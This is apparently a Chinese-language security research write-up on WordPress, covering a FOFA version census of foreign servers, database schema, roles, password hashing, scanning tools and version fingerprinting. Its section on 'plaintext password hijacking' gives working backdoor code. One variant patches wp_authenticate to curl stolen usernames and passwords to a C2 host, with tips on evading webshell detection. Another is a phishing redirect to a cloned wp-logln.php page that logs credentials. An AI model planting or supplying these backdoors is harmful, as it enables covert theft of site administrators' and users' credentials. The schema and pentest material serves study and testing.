0.主流版本测绘

import requests
import base6
import time
import json

url = "https://fofa.info/api/v1/search/all?email=&key=&qbase64="

with open('branch.txt','r+') as f:
    results = []
    for i in f.readlines():
        query = f'"wordpress-{i.strip()}" && country!="CN"'
        query = query.encode('utf-8')
        res = requests.get(url+base64.b64encode(query).decode()).text
        json_res = json.loads(res)
        size = json_res['size']
        results.append((i.strip(), size))

        time.sleep(3)

    sorted_results = sorted(results, key=lambda x: x[1], reverse=True)

    for item in sorted_results:
        print(f'境外服务器wordpress{item[0]}的数量为:{item[1]}')
境外服务器wordpress4.5的数量为:718094
境外服务器wordpress6.0的数量为:571377
境外服务器wordpress4.8的数量为:432132
境外服务器wordpress2.5的数量为:283633
境外服务器wordpress6.1的数量为:225618
境外服务器wordpress5.3的数量为:84358
境外服务器wordpress5.3的数量为:84358
境外服务器wordpress4.1的数量为:60874
境外服务器wordpress5.9的数量为:48913
境外服务器wordpress5.8的数量为:34542
境外服务器wordpress5.6的数量为:29029
境外服务器wordpress2.8的数量为:23605
境外服务器wordpress5.7的数量为:23375
境外服务器wordpress5.4的数量为:11904
境外服务器wordpress5.5的数量为:10843
境外服务器wordpress5.0的数量为:8106
境外服务器wordpress5.2的数量为:5474
境外服务器wordpress3.1的数量为:5428
境外服务器wordpress5.1的数量为:5373
境外服务器wordpress3.6的数量为:3308
境外服务器wordpress4.6的数量为:3065
境外服务器wordpress4.0的数量为:2992
境外服务器wordpress3.0的数量为:2788
境外服务器wordpress4.7的数量为:2110
境外服务器wordpress3.5的数量为:2094
境外服务器wordpress3.3的数量为:2075
境外服务器wordpress4.3的数量为:1934
境外服务器wordpress4.9的数量为:1838
境外服务器wordpress4.4的数量为:1774
境外服务器wordpress2.7的数量为:1558
境外服务器wordpress3.4的数量为:1251
境外服务器wordpress3.9的数量为:945
境外服务器wordpress1.5的数量为:863
境外服务器wordpress3.8的数量为:757
境外服务器wordpress4.2的数量为:381
境外服务器wordpress2.6的数量为:234
境外服务器wordpress3.2的数量为:220
境外服务器wordpress2.9的数量为:219
境外服务器wordpress2.3的数量为:209
境外服务器wordpress2.0的数量为:200
境外服务器wordpress3.7的数量为:158
境外服务器wordpress2.2的数量为:152
境外服务器wordpress2.1的数量为:152


Top5: 4.5、6.0、4.8、2.5、6.1

1.使用研究

1.1环境搭建

测试环境整体采用docker部署,主要部署主流版本来进行漏洞复现及相关研究。

1.1.1 wordpress4.5

version: '3.9'
services:
  db:
    image: mariadb:10.6.4-focal
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: 123456
      MYSQL_DATABASE: wordpress
    volumes:
      - ./database:/var/lib/mysql

  wordpress:
    depends_on:
      - db
    image: wordpress:4.5-apache
    restart: always
    ports:
      - 80:80
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: root
      WORDPRESS_DB_PASSWORD: 123456
    volumes:
      - ./html:/var/www/html

「初始化过程略」

1.1.2 wordpress目录结构说明

  1. 根目录文件:这些是WordPress的核心文件,用于处理请求和加载其他文件。
    • index.php:网站的主入口文件。
    • license.txt:WordPress的许可证文件。
    • readme.html:安装和升级信息的HTML文件。
    • wp-activate.php:激活新用户的脚本。
    • wp-blog-header.php:加载WordPress环境和模板。
    • wp-comments-post.php:处理发表评论的请求。
    • wp-config-sample.php:WordPress配置文件的样本。
    • wp-config.php:WordPress的主配置文件,包含数据库信息等设置。
    • wp-cron.php:处理WordPress计划任务的脚本。
    • wp-links-opml.php:用于OPML格式的链接导出。
    • wp-load.php:加载WordPress的核心文件。
    • wp-login.php:登录页面的主文件。
    • wp-mail.php:通过电子邮件发布文章的脚本。
    • wp-settings.php:设置WordPress变量和包含文件。
    • wp-signup.php:新用户注册的脚本。
    • wp-trackback.php:处理trackback请求的脚本。
    • xmlrpc.php:实现XML-RPC协议支持。
  2. wp-admin:包含WordPress后台管理相关的文件。
    • 这个目录包含了控制WordPress仪表盘和管理功能的所有脚本和文件。
  3. wp-content:用户内容和扩展的存储地。
    • 这个目录包含主题(themes)、插件(plugins)和上传的文件(uploads)。
  4. wp-includes:包含WordPress的主要PHP库和辅助脚本。
    • 这个目录包含了WordPress运行所需的大部分核心功能代码。

1.2数据库表结构与内容研究

MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |  存储评论元数据
| wp_comments           |  存储网站评论
| wp_links              |  存储网站友情链接
| wp_options            |  存储wordpress设置和选项、主题配置等
| wp_postmeta           |  存储文章的元数据
| wp_posts              |  存储网站文章
| wp_term_relationships |  存储分类、标签和帖子之间的关系
| wp_term_taxonomy      |  存储每个目录、标签所对应的分类
| wp_termmeta           |  存储目录、标签对应的元数据
| wp_terms              |  存储每个目录、标签
| wp_usermeta           |  存储用户的元数据
| wp_users              |  存储用户
+-----------------------+
12 rows in set (0.003 sec)

1.2.1 Metadata元数据

注意到在十二张数据表中有四张表带有meta关键字,其中存储的就是相关信息的元数据
在翻阅许多文献后可以总结元数据的定义 -- “data about data”关于数据的数据
例如,对于一篇文章,它的元数据可以包含作者、发布日期、标签、分类、评论数、浏览量等信息,这些元数据存储在wp_postmeta表中。这些元数据可以被wordpress主题、插件使用,为网站提供更多的灵活性和扩展性。

这四张表的字段交集为:meta_id、meta_key、meta_value
NISO把元数据分为了描述性、结构性、管理性三类

结构化的元数据(Structural metadata)是有关数据结构的设计和说明,通常叫做“关于数据容器的数据(data about the containers of data);描述性的元数据(descriptive metadata),关于应用程序数据和数据内容的单个实例 ...

按照这个定义,wordpress使用描述性元数据。
而在wordpress中,数据与元数据的定义边界模糊不清。定义元数据也不等于它就会被存储于元数据表中,比如:
post_type应该属于元数据的范畴,可是它被存储在wp_posts中,而非wp_postmeta

1.2.2 关于文章 [wp_posts && wp_postmeta]

wp_posts表结构

MariaDB [wordpress]> desc wp_posts;
+-----------------------+---------------------+------+-----+---------------------+----------------+
| Field                 | Type                | Null | Key | Default             | Extra          |
+-----------------------+---------------------+------+-----+---------------------+----------------+
| ID                    | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| post_author           | bigint(20) unsigned | NO   | MUL | 0                   |                |
| post_date             | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| post_date_gmt         | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| post_content          | longtext            | NO   |     | NULL                |                |
| post_title            | text                | NO   |     | NULL                |                |
| post_excerpt          | text                | NO   |     | NULL                |                |
| post_status           | varchar(20)         | NO   |     | publish             |                |
| comment_status        | varchar(20)         | NO   |     | open                |                |
| ping_status           | varchar(20)         | NO   |     | open                |                |
| post_password         | varchar(20)         | NO   |     |                     |                |
| post_name             | varchar(200)        | NO   | MUL |                     |                |
| to_ping               | text                | NO   |     | NULL                |                |
| pinged                | text                | NO   |     | NULL                |                |
| post_modified         | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| post_modified_gmt     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| post_content_filtered | longtext            | NO   |     | NULL                |                |
| post_parent           | bigint(20) unsigned | NO   | MUL | 0                   |                |
| guid                  | varchar(255)        | NO   |     |                     |                |
| menu_order            | int(11)             | NO   |     | 0                   |                |
| post_type             | varchar(20)         | NO   | MUL | post                |                |
| post_mime_type        | varchar(100)        | NO   |     |                     |                |
| comment_count         | bigint(20)          | NO   |     | 0                   |                |
+-----------------------+---------------------+------+-----+---------------------+----------------+
23 rows in set (0.004 sec)
ID  自增唯一ID
post_author 对应作者ID
post_date   发布时间
post_date_gmt   发布时间(GMT+0时间)
post_content    正文
post_title  标题
post_excerpt    摘要
post_status 文章状态(publish/auto-draft/inherit等)
comment_status  评论状态(open/closed)
ping_status ping状态(open/closed)
post_password   文章密码
post_name   文章缩略名
to_ping 文章待ping的url列表
pinged  已经ping过的链接
post_modified   修改时间
post_modified_gmt   修改时间(GMT+0时间)
post_content_filtered   转换后的内容
post_parent 父文章
guid    全局唯一标识符
menu_order  排序ID
post_type   文章类型
post_mime_type  MIME类型
comment_count   评论总数

数据内容研究

新建一篇文章,查询wp_posts内容,抽取一条数据作为示例

*************************** 5. row ***************************
                   ID: 5
          post_author: 1
            post_date: 2023-04-22 14:41:42
        post_date_gmt: 2023-04-22 06:41:42
         post_content: 中华民族伟大复兴!
           post_title: 喜迎建党101周年
         post_excerpt:
          post_status: publish
       comment_status: open
          ping_status: open
        post_password: 123456
            post_name: %e5%96%9c%e8%bf%8e%e5%bb%ba%e5%85%9a101%e5%91%a8%e5%b9%b4
              to_ping:
               pinged:
        post_modified: 2023-04-24 10:41:50
    post_modified_gmt: 2023-04-24 02:41:50
post_content_filtered:
          post_parent: 0
                 guid: http://localhost/?p=5
           menu_order: 0
            post_type: post
       post_mime_type:
        comment_count: 0
post_author

作者ID
对应的用户名存储在wp_users表中对应user_login字段

MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | may        | $P$BIhCqMiD2uzJeO6twupZ5mLxywmI011 | may           | 12345@qq.com |          | 2023-04-20 14:04:10 |                     |           0 | may          |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.001 sec)
post_date_gmt

格林威治时间比北京时间早八小时

post_status

文章状态有以下八种状态:

1. publish:文章已经发布,可以在网站上被
  2. 所有人查看。
  3. pending:文章等待审核,暂时不会在网站上出现。
  4. draft:文章正在编辑中,还没有准备好发布。
  5. auto-draft:WordPress 在后台自动保存草稿,这种状态意味着文章还没有保存为草稿。
  6. future:文章将在未来的特定时间发布,这是一种预定状态。
  7. private:文章是私有的,只有被授权的用户才能查看。
  8. inherit:文章从其他文章继承状态。
  9. trash:文章被放入回收站,等待被永久删除或还原。
post_password

文章密码(明文存储)

post_name

文章名字 内容非英文的情况下会对字符进行编码 解码方式如下

import urllib.parse

encoded_str = '%e5%96%9c%e8%bf%8e%e5%bb%ba%e5%85%9a101%e5%91%a8%e5%b9%b4'
decoded_str = urllib.parse.unquote(encoded_str, encoding='utf-8')
print(decoded_str)

result:喜迎建党101周年
to_ping && pinged

这两个字段用于存储将要ping和已ping过的网站
pingback技术用于通知一个网页或博客其文章被引用,文章被广泛引用有助于SEO优化。
pingback通过post请求发送,包含通知的内容包括引用文章的标题、URL、引用页面的标题和 URL 等信息。

POST /xmlrpc.php HTTP/1.0
User-Agent: Pinger/1.0
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 236

<?xml version="1.0"?>
<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param>
            <value><string>http://example.com/entry/1234</string></value>
        </param>
        <param>
            <value><string>http://blog.example.com/entry/5678</string></value>
        </param>
    </params>
</methodCall>
port_modified[_gmt]

文章修改时间(gmt时区)

post_content_filtered

对敏感词/文章格式化后存储的字段

post_prent

文章的父ID,没有父ID则为0,有父ID的情况是文章被修改,那么上一个版本的ID就是父ID

guid

全局唯一标识符,被用作文章永久链接,比如长这样:http://localhost/2023/04/24/5-revision-v1/

menu_order

文章在后台排序的位置

post_type

文章类型,在wordpress中默认有post与page两种类型

post_mime_type

用于存储wordpress中上传媒体文件的MIME类型

comment_count

存储文章评论数量

wp_postmeta表结构

MariaDB [wordpress]> desc wp_postmeta;
+------------+---------------------+------+-----+---------+----------------+
| Field      | Type                | Null | Key | Default | Extra          |
+------------+---------------------+------+-----+---------+----------------+
| meta_id    | bigint(20) unsigned | NO   | PRI | NULL    | auto_increment |
| post_id    | bigint(20) unsigned | NO   | MUL | 0       |                |
| meta_key   | varchar(255)        | YES  | MUL | NULL    |                |
| meta_value | longtext            | YES  |     | NULL    |                |
+------------+---------------------+------+-----+---------+----------------+
4 rows in set (0.015 sec)

数据内容研究

MariaDB [wordpress]> select * from wp_postmeta;
+---------+---------+------------------------------------------+--------------------+
| meta_id | post_id | meta_key                                 | meta_value         |
+---------+---------+------------------------------------------+--------------------+
|       1 |       2 | _wp_page_template                        | default            |
|       2 |       1 | _edit_lock                               | 1682002379:1       |
|       3 |       1 | _wp_trash_meta_status                    | publish            |
|       4 |       1 | _wp_trash_meta_time                      | 1682002381         |
|       5 |       1 | _wp_desired_post_slug                    | hello-world        |
|       6 |       1 | _wp_trash_meta_comments_status           | a:1:{i:3;s:1:"1";} |
|       7 |       5 | _edit_last                               | 1                  |
|       8 |       5 | _edit_lock                               | 1682305790:1       |
|      11 |       5 | _oembed_05b3ec012fcc6815135ccd86d77d21e3 | {{unknown}}        |
+---------+---------+------------------------------------------+--------------------+
  • _wp_page_template:页面模板文件的路径。
  • _edit_lock:当前文章或页面的编辑锁定信息。
  • _wp_trash_meta_status:文章或页面是否在回收站中的状态。
  • _wp_trash_meta_time:文章或页面进入回收站的时间戳。
  • _wp_desired_post_slug:希望使用的文章或页面 slug。
  • _wp_trash_meta_comments_status:文章或页面评论状态,例如是否允许评论。
  • _edit_last:最后一次编辑文章或页面的用户 ID。
  • oembed:与嵌入式内容相关的信息。

1.2.3 关于评论 [wp_commentmeta & wp-comments]

wp-comments表结构

MariaDB [wordpress]> desc wp_comments;
+----------------------+---------------------+------+-----+---------------------+----------------+
| Field                | Type                | Null | Key | Default             | Extra          |
+----------------------+---------------------+------+-----+---------------------+----------------+
| comment_ID           | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| comment_post_ID      | bigint(20) unsigned | NO   | MUL | 0                   |                |
| comment_author       | tinytext            | NO   |     | NULL                |                |
| comment_author_email | varchar(100)        | NO   | MUL |                     |                |
| comment_author_url   | varchar(200)        | NO   |     |                     |                |
| comment_author_IP    | varchar(100)        | NO   |     |                     |                |
| comment_date         | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| comment_date_gmt     | datetime            | NO   | MUL | 0000-00-00 00:00:00 |                |
| comment_content      | text                | NO   |     | NULL                |                |
| comment_karma        | int(11)             | NO   |     | 0                   |                |
| comment_approved     | varchar(20)         | NO   | MUL | 1                   |                |
| comment_agent        | varchar(255)        | NO   |     |                     |                |
| comment_type         | varchar(20)         | NO   |     |                     |                |
| comment_parent       | bigint(20) unsigned | NO   | MUL | 0                   |                |
| user_id              | bigint(20) unsigned | NO   |     | 0                   |                |
+----------------------+---------------------+------+-----+---------------------+----------------+
15 rows in set (0.004 sec)
comment_ID 自增评论id
comment_post_ID 对应文章ID
comment_author_email 评论者邮箱
comment_author_url 评论者网址
comment_author_IP 评论者IP
comment_date 评论时间
comment_content 评论正文
comment_karma 评论好感度()
comment_approved 评论是否过审
comment_agent 评论者user_agent
comment_type 一般为空或null,
comment_parent 父评论ID

数据内容研究

添加一条评论,查询wp_comments内容,抽取一条数据作为示例数据

MariaDB [wordpress]> select * from wp_comments\G;
*************************** 1. row ***************************
comment_ID: 4
comment_post_ID: 5
comment_author: may
comment_author_email: 1234567@qq.com
comment_author_url: http://xmay.com
comment_author_IP: 172.22.0.1
comment_date: 2023-05-04 22:19:17
comment_date_gmt: 2023-05-04 14:19:17
comment_content: 高举中国特色社会主义伟大旗帜,全面贯彻新时代中国特色社会主义思想,弘扬伟大建党精神,自信自强、守正创新,踔厉奋发、勇毅前行,为全面建设社会主义现代化国家、全面推进中华民族伟大复兴而团结奋斗。
comment_karma: 0
comment_approved: 0
comment_agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
comment_type:
comment_parent: 0
user_id: 0
1 row in set (0.005 sec)
  • comment_ID:评论ID
  • comment_post_ID:评论所属文章或页面的ID
  • comment_author:评论者名称
  • comment_author_email:评论者提供的邮箱地址
  • comment_author_url:评论者提供的网站或博客地址
  • comment_author_IP:评论者的IP地址
  • comment_date:评论发表的日期 时间
  • comment_date_gmt:GMT时区的评论发表日期和时间
  • comment_content:评论的内容
  • comment_karma:评论的积分值(根据评论的质量和交互情况来决定)
  • comment_approved:评论的审核状态,0为未审核,1表示审核通过
  • comment_agent:评论者的浏览器UA
  • comment_type:评论类型。pingback或trackback,否则为空
  • comment_parent:评论的父评论ID,如果该评论是顶级评论,则该字段为0
  • user_id:评论者的用户ID,如果评论者不是wp注册用户,则该字段的值为0

wp_commenmeta表结构

MariaDB [wordpress]> desc wp_commentmeta;
+------------+---------------------+------+-----+---------+----------------+
| Field      | Type                | Null | Key | Default | Extra          |
+------------+---------------------+------+-----+---------+----------------+
| meta_id    | bigint(20) unsigned | NO   | PRI | NULL    | auto_increment |
| comment_id | bigint(20) unsigned | NO   | MUL | 0       |                |
| meta_key   | varchar(255)        | YES  | MUL | NULL    |                |
| meta_value | longtext            | YES  |     | NULL    |                |
+------------+---------------------+------+-----+---------+----------------+
4 rows in set (0.006 sec)

1.2.4 关于用户 [wp_user && wp_usermeta]

wp_user表结构

MariaDB [wordpress]> desc wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field               | Type                | Null | Key | Default             | Extra          |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| user_login          | varchar(60)         | NO   | MUL |                     |                |
| user_pass           | varchar(255)        | NO   |     |                     |                |
| user_nicename       | varchar(50)         | NO   | MUL |                     |                |
| user_email          | varchar(100)        | NO   | MUL |                     |                |
| user_url            | varchar(100)        | NO   |     |                     |                |
| user_registered     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| user_activation_key | varchar(255)        | NO   |     |                     |                |
| user_status         | int(11)             | NO   |     | 0                   |                |
| display_name        | varchar(250)        | NO   |     |                     |                |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.012 sec)

数据内容研究

查询wp_users内容,抽取一条数据作为示例数据

MariaDB [wordpress]> select * from wp_users\G;
*************************** 1. row ***************************
                 ID: 1
         user_login: may
          user_pass: $P$BIhCqMiD2uzJeO6twupZ5mLxywmI011
      user_nicename: may
         user_email: 1234567@qq.com
           user_url:
    user_registered: 2023-04-20 14:04:10
user_activation_key: 1682217747:$P$BB.woxlLoP440TeBAqHYGlQdPN2WpI1
        user_status: 0
       display_name: may
1 row in set (0.001 sec)
  • 重复意义字段不再赘述
  • user_pass存储用户密码的hash 加密算法后续探讨
  • user_activation_key用户注册后用于激活账户的加密字符串,可用于验证用户的电子邮件地址

wp_usermeta表结构

MariaDB [wordpress]> desc wp_usermeta;
+------------+---------------------+------+-----+---------+----------------+
| Field      | Type                | Null | Key | Default | Extra          |
+------------+---------------------+------+-----+---------+----------------+
| umeta_id   | bigint(20) unsigned | NO   | PRI | NULL    | auto_increment |
| user_id    | bigint(20) unsigned | NO   | MUL | 0       |                |
| meta_key   | varchar(255)        | YES  | MUL | NULL    |                |
| meta_value | longtext            | YES  |     | NULL    |                |
+------------+---------------------+------+-----+---------+----------------+
4 rows in set (0.007 sec)

数据内容研究

查询wp_usermeta内容,抽取一条数据作为示例数据

*************************** 15. row ***************************
  umeta_id: 16
   user_id: 1
  meta_key: session_tokens
meta_value: a:1:{s:64:"1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c";a:4:{s:10:"expiration";i:1682476834;s:2:"ip";s:10:"172.22.0.1";s:2:"ua";s:117:"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36";s:5:"login";i:1682304034;}}
15 rows in set (0.005 sec)

前面几个没什么好说的,重点看一下meta_value字段

a:1:{s:64:"1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c";a:4:{s:10:"expiration";i:1682476834;s:2:"ip";s:10:"172.22.0.1";s:2:"ua";s:117:"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36";s:5:"login";i:1682304034;}}

看起来这是一串序列化字符 反序列化解构后如下

Array
(
    [1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c] => Array
        (
            [expiration] => 1682476834
            [ip] => 172.22.0.1
            [ua] => Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
            [login] => 1682304034
        )

)

1316d49c50e7e0ec03b2e315a270bb3daca0f69aeae33d316e816ecb31c7cf5c,值是另外一个数组。这个数组包含了以下四个键值对:

  • expiration: 值为 1682476834,表示到期时间的 Unix 时间戳。
  • ip: 值为 172.22.0.1,表示登录时的 IP 地址。
  • ua: 值为 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36,表示登录时的 User Agent 信息。
  • login: 值为 1682304034,表示登录时间的 Unix 时间戳。

1.3用户权限管理研究

1.3.1 角色


当在wp网站上创建一个用户时,需要为该用户指定一个角色。角色定义了该用户在网站上所拥有的权限和功能。wp内置了五个默认角色:

  • Super Admin超级管理员:拥有网站的所有权限,只能由网站创建者指定
  • Administrator:拥有网站的所有权限,可以管理用户、发布内容、更改设置等
  • Editor编辑:可以发布、编辑和删除自己和其他用户的文章,管理分类和标签,但不能管理用户和更改设置
  • Author作者:可以发布、编辑和删除自己的文章,但不能发布文章和上传文件,也不能管理分类和标签、用户和设置
  • Contributor投稿者:可以撰写和编辑自己的文章,但不能发布文章和上传文件,也不能管理分类和标签、用户和设置。

1.3.2 特权

  • 在 WordPress 中,每个角色都拥有其特权或权限,这些权限定义了他们可以做什么和不能做什么。
  • 特权或权限是指在 WordPress 后台管理界面中,角色所能访问和执行的操作。
  • 权限有编辑文章、发布评论、上传媒体文件、管理用户等。
  • 在 WordPress 中,权限分配的原则是:给予用户尽可能少的权限,以确保他们只能执行他们需要执行的任务,而不会干扰或更改其它任务。这种权限分配和管理的方法被称为最小权限原则(Least Privilege Principle)。

wordpress提供了**WP_Roles、`WP_Role**和WP_User`这几个类用于高级的权限管理,它们的具体使用场景根据GPT的回答可以总结如下:

  1. 自定义角色创建和管理:当标准的WordPress角色(如管理员、编辑、作者等)不满足网站特定需求时,可以使用WP_Roles和WP_Role类来创建和管理自定义角色。例如,为特定类型的内容管理或功能添加专门的角色。
  2. 特定权限的分配和管理:这些类允许网站管理员为现有角色添加或移除特定权限。例如,如果需要让编辑者角色能夹杂用户,可以使用WP_Role类来实现这一点。
  3. 针对单个用户的权限管理:WP_User类可以用来管理单个用户的角色和权限。例如,如果需要为特定用户分配多个角色或者给特定用户添加特殊权限,可以使用这个类。
  4. 插件和主题开发:开发者在创建插件或主题时,可能需要根据插件或主题的功能要求,添加新的用户角色或权限。这时,这些类就显得非常有用。
  5. 安全性增强:在处理安全敏感的应用时,精确控制用户的权限是非常重要的。通过这些接口,可以限制用户访问敏感区域或执行特定操作,以增强网站的安全性。
  6. 用户权限的动态调整:在需要动态调整用户权限的场景,如基于用户行为或其他条件,可以使用这些类动态更改用户的角色和权限。
  7. 多用户管理和协作:在有多用户参与的网站,如多作者博客、新闻网站或企业网站,这些类可以帮助管理不同用户的角色和权限,以保证有效的内容管理和协作。

1.3.3 用户

通过用户界面,管理员可以创建、编辑和删除用户,设置他们的角色、电子邮件地址、密码等。同时,管理员还可以为每个用户设置其自己的偏好设置,例如个人资料信息、头像等。

1.4用户密码加密算法研究

wordpress使用了一种名为**phpass**的开源类来生成和验证用户密码,这个过程涉及到几个关键步骤和函数:

密码哈希生成

使用**wp_hash_password()**函数,该函数内部依赖**phpass**类

function wp_hash_password($password) {
  global $wp_hasher;

  if ( empty($wp_hasher) ) {
    require_once( ABSPATH . WPINC . '/class-phpass.php');
    // By default, use the portable hash from phpass
    $wp_hasher = new PasswordHash(8, true);
  }

  return $wp_hasher->HashPassword( trim( $password ) );
}
endif;

其中**$wp_hasher**对象实例化的就是引入的phpass开源类

class 
function HashPassword($password)
    {
        if ( strlen( $password ) > 4096 ) {
            return '*';
        }

        $random = '';

        if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
            $random = $this->get_random_bytes(16);
            $hash =
                crypt($password, $this->gensalt_blowfish($random));
            if (strlen($hash) == 60)
                return $hash;
        }
    ...

在哈希过程中会生成salt结合用户的明文密码进行加密,加密算法取决于php版本
php5.0及以上的版本使用Blowfish算法进行加密,低于php5.0的版本则使用md5算法
blowfish是一种对称加密算法,理论上是可逆的,但wordpress使用的是它的变体bcrypt,这个加密过程是单向的

密码验证

使用**wp_check_password()**函数,这个函数将用户输入的密码与数据库中存储的哈希进行比对,在这个过程中,它还会再次使用phpass类中的方法来进行比对

function wp_check_password($password, $hash, $user_id = '') {
    global $wp_hasher;

    // If the hash is still md5...
    if ( strlen($hash) <= 32 ) {
        $check = hash_equals( $hash, md5( $password ) );
        if ( $check && $user_id ) {
            // Rehash using new hash.
            wp_set_password($password, $user_id);
            $hash = wp_hash_password($password);
        }
  ...

1.5 登陆明文密码劫持

后门劫持

通过修改/wp-include/pluggable.php文件中的wp_authenticate方法实现明文密码的劫持

function wp_authenticate($username, $password) {

    $username = sanitize_user($username);
    $password = trim($password);
  system('curl http://1x2.1x4.7x.2x4:18080/?password='.$username.$password);
    ...

在c2建立监听 当wordpress用户登录时 就会向c2发送明文账号密码
对于明文密码的传递可以通过dns_get_record等函数进行流量的特征脱敏
对于后门部分可以通过规避webshell检测工具的思路编写

但是这样的实现方式总归都很容易察觉 并且system之类的函数在应用部署后基本就是默认禁用

所以还是使用写入本地文件 隔一段时间再上线查看比较可靠

function wp_authenticate($username, $password) {

    $username = sanitize_user($username);
    $password = trim($password);
  file_put_contents('accesss.log',$username.$password);
   ...

钓鱼劫持

针对安全意识不强的操作人员 可以通过钓鱼劫持的方式将访问/wp-login.php的请求重定向到钓鱼页面,在钓鱼网站输入密码后再重定向到原本的登录界面
针对不出网的环境 可以部署相似文件名的本地文件做鱼饵 如wp-logln.php
1.在wp_login.php中插入重定向到wp_logln.php的语句 通过session字段避免重定向死循环

session_start();
$host = $_SERVER['HTTP_HOST'];
if(!isset($_SESSION['redirected'])){
    $_SESSION['redirected'] = true;
    header('Location: http://' . $host . '/wp-logln.php');
}

2.使用httrack工具克隆wp_login.php前端页面
GitHub - xroche/httrack: HTTrack Website Copier, copy websites to your computer (Official repository)
对表单部分进行修改 在表单后插入代码进行明文密码劫持

<form name="loginform" id="loginform" action="wp-logln.php" method="post">
  <p>
    <label for="user_login">用户名或电子邮件地址

      <input type="text" name="log" id="user_login" class="input" value="" size="20" /></label>
  </p>
  <p>
    <label for="user_pass">密码

      <input type="password" name="pwd" id="user_pass" class="input" value="" size="20" /></label>
  </p>
  <p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever"  /> 记住我</label></p>
  <p class="submit">
    <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="登录" />
    <input type="hidden" name="redirect_to" value="http://localhost/wp-admin/" />
    <input type="hidden" name="testcookie" value="1" />
  </p>
</form>
<?php
setcookie('redirected','1');
$u=$_POST['log'];
$p=$_POST['pwd'];
if(isset($_POST['log']) && isset($_POST['pwd'])){
    file_put_contents('/var/log/accesss.log',$u.$p);
    session_start();
    $_SESSION['redirected'] = false;
    header('Location: /admin');
}
?>

当正常访问登录页面时 就会被重定向到钓鱼页面
输入账号密码后将重定向到真实登录页面 此时账号密码已被记录

在这个过程中尤其要注意目标写入文件的权限 防止warning

2.Wordpress渗透测试研究

2.1主流工具

wpscan

wpscan是一款使用ruby开发的跨平台wordpress扫描和渗透工具
GitHub - wpscanteam/wpscan: WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites. Contact us via contact@wpscan.com
扫描示例:

wpscan --url http://localhost:81 --wp-content-dir /wp-content/ --enumerate vp --plugins-detection aggressive --api-token xxxxxxxxxxxxx

--wp-content-dir指定的是文章的路径
在许多使用wordpress框架的网站中 文章路径一般都不在/wp-content/所以提供了参数进行指定
--enumerate vp 可以枚举所有易受攻击的插件
--plugins-detection aggressive指定的是发现插件的方式 这里指定的是积极的方式
wpscan可以以三种方式检测插件:被动(从HTML源代码检测)、主动(检查插件默认文件的标准路径)和积极(执行更全面的检查)
--api-token指定的是wpscan官方提供的api
在wpscan.com官网进行注册后可以得到free版本的api 有了api才能连接漏洞库进行扫描

cmsmap

cmsmap是一款实用python开发的跨平台cms扫描工具 支持扫描WordPress、Joomla,、Drupal、Moodle
https://github.com/dionach/CMSmap
cmsmap实用exploitdb进行扫描 建议在kali等自带exploitdb的操作系统上使用 如果没有 也可以使用官方exploitdb
Exploit-DB / Exploits + Shellcode + GHDB · GitLab

2.2 wordpress版本侦查

在实际渗透中 cms版本号可以帮助我们寻找历史漏洞进行利用
下面将演示一些主要方法

自述文件 - readme.thml

这是最简单的技巧 只需访问/readme.html即可得到版本号

该文件的目的是在初次安装时提供安装手册以及版本信息 在完成了wordpress的部署后应删除该文件

html元标签

具有generator名称属性的元标记通常被描述为用于生成文档/网页的软件。确切的版本号在 meta 标签的content属性中公开

JavaScript || CSS

在wp-admin/install.php、wp-admin/upgrade.php、wp-login.php文件的源代码中可以看到部分css链接的ver参数中携带了版本号

Feed

Feed是一种数据格式,它允许用户订阅频繁更新的内容,如博客文章、新闻、音频或视频系列等。RSS是最常见的Feed格式之一
以下是feed checklist 不同wordpress版本下存在差异

  • /index.php/feed/
  • /index.php/feed/rss/
  • /index.php/feed/rss2/
  • /index.php/comments/feed/
  • /index.php/feed/rdf/(文件在本地下载)
  • /index.php/feed/atom/
  • /?feed=atom
  • /?feed=rss
  • /?feed=rss2
  • /?feed=rdf

